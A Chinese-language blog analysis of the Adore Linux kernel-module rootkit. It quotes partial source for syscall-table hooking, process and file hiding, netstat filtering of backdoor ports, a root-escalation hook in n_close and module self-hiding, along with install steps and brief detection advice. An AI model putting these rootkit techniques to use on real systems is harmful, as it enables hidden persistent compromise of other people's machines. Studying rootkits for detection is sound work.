adore rootkit分析

Adore是一款用于Linux系统的Rootkit,通过加载内核模块实现进程和文件隐藏等功能。该文详细解析了Adore的工作原理,包括如何利用伪系统调用进行隐蔽操作。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.簡介


通常LKM用來為系統提供額外的功能,而不用重新編譯內核,例如:加載設備驅動程序和其它的硬件驅動程序等。Linux、Solaris和BSD(Free、Net和open)等操作系統都使可加載內核模塊實現系統的某些功能。某些rootkit能夠利用這種機制,把自己作為內核的可加載模塊運行,在內核層欺騙應用程序,而不用修改應用程序本身,因此比傳統的rootkit具有更好的隱蔽性。現在LKM rootkit已經有好多種了,例如:slkm、knark和adore。本文對adore rootkit進行分析(注意:adore rootkit不是adore 蠕虫)。

adore是一個Linux LKM(Loadable Kernel Module)rootkit。作者是Stealthhttp://spider.scorpions.net/~stealth。可以用於Linux-2.2.x和Linux-2.4.x系列的內核。其核心部分就是一個叫做adore.o的LKM。除此之外,還有一個用於隱藏adore.o的模塊cleaner.o,一個控制工具ava,以及一個啟動腳本startadore。

adore的源代碼包括以下文件:


Changelog
LICENSE
Makefile.gen <--如果configure腳本執行失敗,可以使用這個文件
README
TODO
adore.c <--adore.o模塊的源代碼
adore.h
ava.c <--控制命令
cleaner.c <--cleaner.o模塊的源代碼,用於隱藏adore模塊
configure <--安裝腳本
dummy.c
libinvisible.c <--libinvisible是ava和adore模塊之間的接口
libinvisible.h
rename.c
startadore <--啟動腳本




2.adore模塊


前面我們講過,adore rootkit的核心部分是adore.o模塊。在這個模塊中,通過偽造一些系統調用,實現了進程的隱藏/重現、目錄的隱藏/重現、控制進程(ava)的驗証以及後門的隱藏等功能。這個模塊中的函數大體可以分為:



1.偽造的系統調用

adore rootkit使用如下函數替代真正的系統調用:n_getdents、n_getdents64、n_fork、n_clone、n_kill、n_write、n_close、n_mkdir、n_oldstat、n_oldlstat、n_stat、n_lstat、n_stat64、n_lstat64、n_open。這些函數基本都是真正的相關系統調用封裝。


2.模塊的初始化、卸載函數(init_module、cleanup_module)

執行adore模塊的初始化(使用偽造的系統調用替代原來的系統調用)和卸載模塊的清理工作(恢復原始的系統調用等)。


3.木馬函數

包括:hide_process、remove_process、unhide_process、strip_invisible、unstrip_invisible。這些函數通過修改指定進程的進程控制塊(task_struct)中的某些信息,實現進程的隱藏、刪除和重現功能。


4.其它的輔助函數和宏

包括函數:my_atoi、my_find_task、is_invisible、is_secret、is_secret64、fp_put、fp_get 和宏:REPLALE、RESTORE。


2.1.adore模塊的初始化和卸載函數


adore的初始化函數init_module

int init_module(void)
{
struct task_struct *p = current;/*當前進程*/
lock_kernel();
EXPORT_NO_SYMBOLS;/*沒有其它模塊需要的符號,不向模塊符號表導出符號*/

for (; p->pid != 1; p = p->next_task)/*尋找init(1號)進程*/
;
init_hook = p;
/*保存init進程的位置,用來指定for_each_task(adore.h)宏進行搜索的位置*/

. . .

REPLACE(write);
REPLACE(getdents);
/*修改內核的系統調用表(sys_call_table)使用偽造的系統調用替代真正的系統調用*/
/*而真正的系統調用被以o_系統調用名的方式重新命名(如:o_write)*/
. . .
}

cleanup_module函數

這個函數在adore模塊被卸載時,使用RESTORE宏重新恢復真正的系統調用。

2.2.木馬函數

2.2.1.hide_process/unhide_process/remove_process

這三個函數用來隱藏(hide_process)以及重現(unhide_process)/刪除(remove_process)進程。adore在Linux的進程控制塊(task_struct,在include/linux/sched.h文件中定義)的進程標志域(task_struct.flags))引入了兩個進程標志:PF_INVISIBLE和PF_AUTH。如果進程控制塊標志域的PF_INVISIBLE位被置位就表示進程是不可以顯示的。進程標志PF_AUTH是用來限制對於隱藏進程的操作,只能具有PF_AUTH進程標志的進程才具有對被隱藏進程某些操作權限(例如:kill),而如果不進行驗証,用戶只要向系統的第2到第NR_TASKS號進程發出SIGVISIBLE信號,就可以輕鬆使被adore隱藏的進程露出原型。

BTW,進程的驗証是由偽造的系統變量mkdir完成的,具體驗証過程將在ava節中詳細解釋。

當用戶執行有關進程的系統調用時,偽造的系統調用就會檢查相關進程的進程控制塊標志域的這兩個標志是否已經設置,從而判斷是否執行針對這個進程的操作。下面我們看一下這兩個函數的源代碼


hide_process

int hide_process(pid_t pid)
{
struct task_struct *p;

if (pid <= 1)
return -1;
/*進制對idle(0)進程和init(1)進程進行任何的操作*/

if ((p = my_find_task(pid)) == NULL)
return -1;

p->flags |= (PF_INVISIBLE|PF_AUTH);
/*把進程標志為隱藏的,並且使這個進程也具有對隱藏進程進行操作的權限*/
return 0;
}


unhide_process

int unhide_process(pid_t pid)
{
struct task_struct *p = my_find_task(pid);

if (!p)
return -1;

p->flags &= ~(PF_INVISIBLE|PF_AUTH);
/*把進程控制塊的PF_INVISIBLE和PF_AUTH標志清除*/

return 0;
}


remove_process

int remove_process(pid_t pid)
{
struct task_struct *p;

if (pid <= 1)
return -1;
/*不允許刪除IDLE和init進程*/

. . .

if (p->p_cptr != NULL)
return -1;
/*有子進程的進程不能被刪除*/

REMOVE_LINKS(p);
/*REMOVE_LINKS()宏來自sched.h文件,用來從task_struct鏈表刪除一個進程控制塊*/
. . .


2.2.2.strip_invisible()、unstrip_invisible()函數

strip_invisible()函數的作用是從/proc文件系統中隱藏進程目錄。在/proc文件系統中沒有pid=0的進程(swapper進程)目錄,這個函數利用這一點,把進程PID修改為0,實現了在/proc文件系統中隱藏進程的目的,原來的進程號(pid)則被保存在了進程控制塊的exit_code域中;unstrip_invisible()函數執行相反的操作,在/proc文件系統中恢復進程的顯示。adore的這種處理方式可以在一定程度上提高n_getdents和n_getdents兩個函數的速度。


2.3.偽造的系統調用

在adore模塊中,實現了一些有關進程和文件/目錄操作的系統調用,通過這些偽造的系統調用達到隱藏自己的目的。

2.3.1.有關進程的系統調用


SIGINVISIBLE、SIGVISIBLE和SIGREMOVE

在adore.h頭文件中,定義了三個信號SIGINVISIBLE、SIGVISIBLE和SIGREMOVE,adore通過這三個信號實現進程的隱藏、重現和刪除。


n_fork

用來替代fork系統調用,首先對執行這個系統調用的進程進行檢查,如果這個進程是隱藏的,其子進程也必須隱藏。


int n_fork(struct pt_regs regs)
{
pid_t pid;
int hide = 0;

lock_kernel();
if (is_invisible(current->pid))
++hide;
/*檢查執行fork系統調用的進程flags域是否設置了PF_INVISIBLE標志*/

pid = o_fork(regs);
/*執行真正的fork系統調用*/

if (hide && pid >= 0)
hide_process(pid);
/*如果父進程是不可見的,則隱藏子進程*/

unlock_kernel();
return pid;
}




n_clone

封裝Linux特有的系統調用sys_clone,執行流程和n_fork幾乎完全相同,只是用o_clone代替o_fork。


n_kill

封裝kill系統調用。


int n_kill(pid_t pid, int sig)
{
. . . .

if (sig != SIGINVISIBLE && sig != SIGVISIBLE && sig != SIGREMOVE) {

. . . .

if (is_invisible(pid) && !is_invisible(current->pid) &&
current->pid != 1)
ret = -ESRCH;
else
ret = o_kill(pid, sig);
/*當前進程發送的信號不是SIGINVISIBLE、SIGVISIBL、ESIGREMOVE*/
/*而當前進程不屬於rootkit(非INVISIBLE進程)而且還不是init進程*/
/*就拒絕發送信號 */
. . . .

}

if ((current->flags & PF_AUTH) != PF_AUTH) {
ret = -ESRCH;
goto out;
}
/*如果發出SIGINVISIBLE、SIGVISIBLE、SIGREMOVE信號的進程不是ava或者其它經過驗証*/
/*的程序,就拒絕為其發送信號*/

. . . .

if (sig == SIGINVISIBLE)
ret = hide_process(pid);
else if (sig == SIGREMOVE)
ret = remove_process(pid);
else
ret = unhide_process(pid);
/*處理SIGINVISIBLE、SIGVISIBLE、SIGREMOVE信號*/
. . . .

}


2.3.2.有關文件/目錄的系統調用


redirfile結構

redirfile結構保存文件重定向信息。通過文件的重定向,可以輕鬆地逃避數據完整性檢測工具的檢測。例如:攻擊者使用自己的ls命令代替了/bin/ls文件,把原來的文件保存為/tmp/ls,那麼以後所有對/bin/ls文件的操作都被重定向到了/tmp/ls。這時,你可以會有疑問,既然文件本重定向,那麼我們執行木馬命令/bin/ls時,是不是同樣也會被重定向到/tmp/ls來執行系統原來的命令?這倒不必擔心,execve類系統調用是在內核空間,它們不會使用用戶空間的open等系統調用,因此執行木馬程序時,是不會被重定向的。

BTW,在開始使用adore時,只要使用insmod adore.o命令加載adore模塊,我就無法使用ls命令(command not found)。這是因為在adore.h文件中:


struct redirfile redir[] = {
{ "/bin/ls", "/tmp/ls" },
{ "/tmp/1", "/tmp/2" },
{ NULL, NULL }
};


每當shell要加載/bin/ls時,首先會使用stat之類的系統調用,找不到/tmp/ls就會出錯返回。

如果想實際使用adore rootkit,你必須根據自己的情況修改上面的定義。這個結構的原型如下:


struct redirfile {
char *requested;/*請求的文件名*/
char *redirected;/*被重定向後的文件名*/
};


關於文件重定向,adore的實現方式並不是很完善,可能會有更好的方式:P


ELITE_CMD、ADORE_KEY和ELITE_UID

在介紹有關的函數之前,需要介紹幾個應該在編譯之前設置的常量:ELITE_CMD、ADORE_KEY和ELITE_UID。ELITE_CMD用來向adore模塊傳遞控制指令(見n_close);ELITE_UID設置adore rootkit所有文件的屬主(見is_secret);而ADORE_KEY用來對使用adore功能的進程進行驗証(見n_mkdir)。


HIDDEN_SERVICES

在adore.h文件中定義的這個常量也需要在使用adore時,根據實際情況進行修改。HIDDEN_SERVICES被n_write函數用來阻止netstat輸出後門端口。格式(可以參考netstat的輸出:):


":服務名(或端口)" NULL



n_open()函數

封裝open系統調用,如果文件出現在redir(struct redirfile)中,就把要打開的文件重定向到另外的文件(reddir[].redirected)。然後,調用真正的sys_open(o_open)。


n_oldstat、n_oldlstat、n_stat、n_lstat、n_stat64、n_lstat64

這些系統調用(oldstat、oldlstat、stat、lstat、stat64、lstat64)都是用來獲得文件狀態的。在執行真正的操作之前,它們都會檢查文件出現在redir(struct redirfile)中,如果是,就把要打開的文件重定向到另外的文件(reddir[].redirected)。然後執行真正的相關系統調用。如果想了解有關這些系統調用更為詳細的信息,請參考相關的手冊頁。


n_getdents和n_getdents64

getdents系統調用用來獲得目錄條目,是readdir系統調用的替代。adore rootkit支持64位的系統,n_getdents64是針對64位Linux系統的(其它後綴為64的偽造系統調用也是),這裡我們只介紹n_getdents。在這個函數中,首先針對proc文件系統進行特別的處理,接著調用真正的getdents(o_getdents),最後清除需要隱藏的條目。


int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
. . . .

sb = file->f_dentry->d_sb;
dinode = file->f_dentry->d_inode;
/*獲得這個目錄的超級塊和索引節點*/

if (dinode->i_ino == PROC_ROOT_INO)
proc = 1;
/*是在/proc文件系統中嗎?*/

if (proc)
strip_invisible();
/*如果是在/proc文件系統中,就調用strip_invisible()處理*/

ret = o_getdents(fd, dirp, count);
/*調用真正的getdents*/

if (proc)
unstrip_invisible();
/*恢復正常*/

. . . .

while (ptr < (char *)orig_d + r) {
curr = (struct dirent *)ptr;

offset = curr->d_reclen;
/* dirent結構(dirent.h)的d_reclen保存這個dirent結構的長度*/

if (is_secret(sb, curr)) {
/*檢查當前的目錄是否需要隱藏*/
if (is_secret(sb, curr)' '(proc && is_invisible(my_atoi(curr->d_name)))) {
if (!prev) {
ret -= offset;
d = (struct dirent*)((char*)d + offset);
/*如果這個條目是第一個就將其刪除*/
} else { /* 不是第一個條目 */
prev->d_reclen += offset;
memset(curr, 0, offset);
}
} else
prev = curr;

ptr += offset;

}

. . . .
}



n_mkdir

n_mkdir封裝mkdir功能,同時這個函數還用來對使用adore功能的進程進行驗証。


if (strcmp(key, ADORE_KEY) == 0) {
current->flags |= PF_AUTH;
/*ADORE_KEY是在編譯時設置的一個字符串,用來驗証進程是否有權限使用adore提供的功能*/



n_write

這個函數主要是阻止netstat進程輸出有關adore的信息。它的流程如下:



檢查當前進程是否是netstat。

把所有包含HIDDEN_SERVICES裡面設置的字符串的輸出行過濾掉。

調用真正的sys_write(o_write),輸出通過檢查的信息。



n_close

這個函數也是adore中比較重要的一個函數。它除了能夠調用執行正常的sys_close(o_close)關閉文件描述符之外,還有提升後門進程權限、卸載adore模塊和檢查adore模塊是否運行的功能。


int n_close(unsigned int fd)
{
int r;

lock_kernel();
switch (fd) {
case ELITE_CMD:/*提升後門進程的權限*/
if ((current->flags & PF_AUTH) != PF_AUTH) {
r = -EPERM;
break;
}

current->uid = current->euid = 0;
current->gid = current->egid = 0;
current->suid = current->sgid = 0;
current->fsuid = current->fsgid = 0;
/*使後門進程以root的權限運行*/

cap_t(current->cap_effective) = ~0;
cap_t(current->cap_inheritable) = ~0;
cap_t(current->cap_permitted) = ~0;
/*設置當前進程有關capability的域*/

r = 0;
break;

/*卸載adore模塊*/
case ELITE_CMD + 1:
if ((current->flags & PF_AUTH) != PF_AUTH) {
r = -EPERM;
break;
}

r = cleanup_module();
break;

/* 檢查adore模塊是否已經安裝 */
case ELITE_CMD + 2:
if ((current->flags & PF_AUTH) != PF_AUTH) {
r = -EPERM;
break;
}

r = ADORE_VERSION;
break;

default:
r = o_close(fd);
break;
}/*執行正常的關閉操作*/
unlock_kernel();
return r;
}



2.4.其它函數


is_invisible

檢查進程是否是隱藏。


is_secret和is_secret64

檢查文件或者目錄的屬主是否是ELITE_UID,如果是就表示是應該隱藏的。



3.cleaner模塊


adore rootkit使用cleaner模塊來隱藏adore模塊。cleaner模塊利用init_module函數中的兩行程序,把adore模塊從module_list中刪除,實現了隱藏adore模塊的目的:


if (__this_module.next)
__this_module.next = __this_module.next->next;


這種實現方式非常簡單而有效,但是未免過於粗暴,太不精巧:P。它破壞了系統內核的數據結構,很可能造成系統的崩潰。而且,這其中很顯然存在一些競爭條件,必須在安裝了adore模塊之後,緊接著安裝cleaner模塊才能實現隱藏adore的目的。作者在發布的源代碼中也提供了一個叫做startadore的腳本。這個腳本實際上只有三行:


insmod adore.o
insmod cleaner.o
rmmod cleaner




4.adore rootkit的控制程序ava


ava是adore rootkit的控制程序,用戶可以使用ava來控制adore模塊的行為。ava支持以下選項:


Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]

h 隱藏文件(hide file
u 重現文件(hide file)
r 以root的權限運行一個程序(execute as root)
R 永遠刪除一個進程(remove PID forever)
U 卸載adore模塊(uninstall adore)
i 隱藏一個進程(make PID invisible)
v 讓一個進程重現(make PID visible)



4.1.ava的初始化

ava首先要通過讓adore模塊的驗証。通過驗証之後,就使adore把自己的權限升級為root。這兩步分別是通過mkdir和cols系統調用完成的,具體的驗証和權限提升操作,我們在前面已經講過。:P

4.2.命令選項

弄清楚adore模塊的各種功能之後,就可以很輕鬆地理解ava的各個命令選項是如何實現的:P


隱藏文件

把需要隱藏的文件或者目錄的屬主改為ELITE_UID。


重現文件

把文件的屬主改為root。


隱藏進程

向需要隱藏的進程發出SIGINVISIBLE信號,進入內核空間後,由n_kill調用hide_process隱藏進程。


刪除進程

向被刪除的進程發出SIGREMOVE信號,進入內核空間後由n_kill調用remove_process刪除進程控制塊。


重現進程

向進程發出SIGVISIBLE信號,後面的工作由偽造的系統調用n_kill調用unhide_process完成。


以root權限執行某個程序

在ava中執行execve系統調用。


5.adore的安裝


了解了上面的東西,安裝adore rootkit也就非常容易了。


首先,針對實際情況,修改adore.h頭文件中的redir和HIDDEN_SERVICES。


運行configure腳本


執行make命令對其進行編譯。


使用startadore腳本安裝adore。

詳情請參考其README文件。



6.adore的檢測


由於adore使用了LKM計數,所以非常難以檢測到。不過,現在已經有了檢測LKM類型rootkit的工具了,kstat就是很不錯的一個工具。關於KSTAT的使用請參考本站的有關文章。

另外,如果被adore侵入,最好使用一個不支持LKM的內核重新啟動系統,這樣adore模塊將失去其作用。它隱藏的東西也就無所遁形了:P。



結論


要說的前面似乎都說了:P,不過為了保持文章的完整性,還是加上了這一段。有句成語叫做道高一尺,魔高一丈,在安全領域也是如此,不斷地有新的技術被運用到了rootkit中。在最近發布的Phrack 58http://www.phrack.org/中,sd(sd@sf.cz)和devik(devik@cdi.cz)不用LKM實現內核層rootkit(Linux on-the-fly kernel patching without LKM, Phrack Volume 0x0b, Issue 0x3a, Phile #0x07 of 0x0e)的技術。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值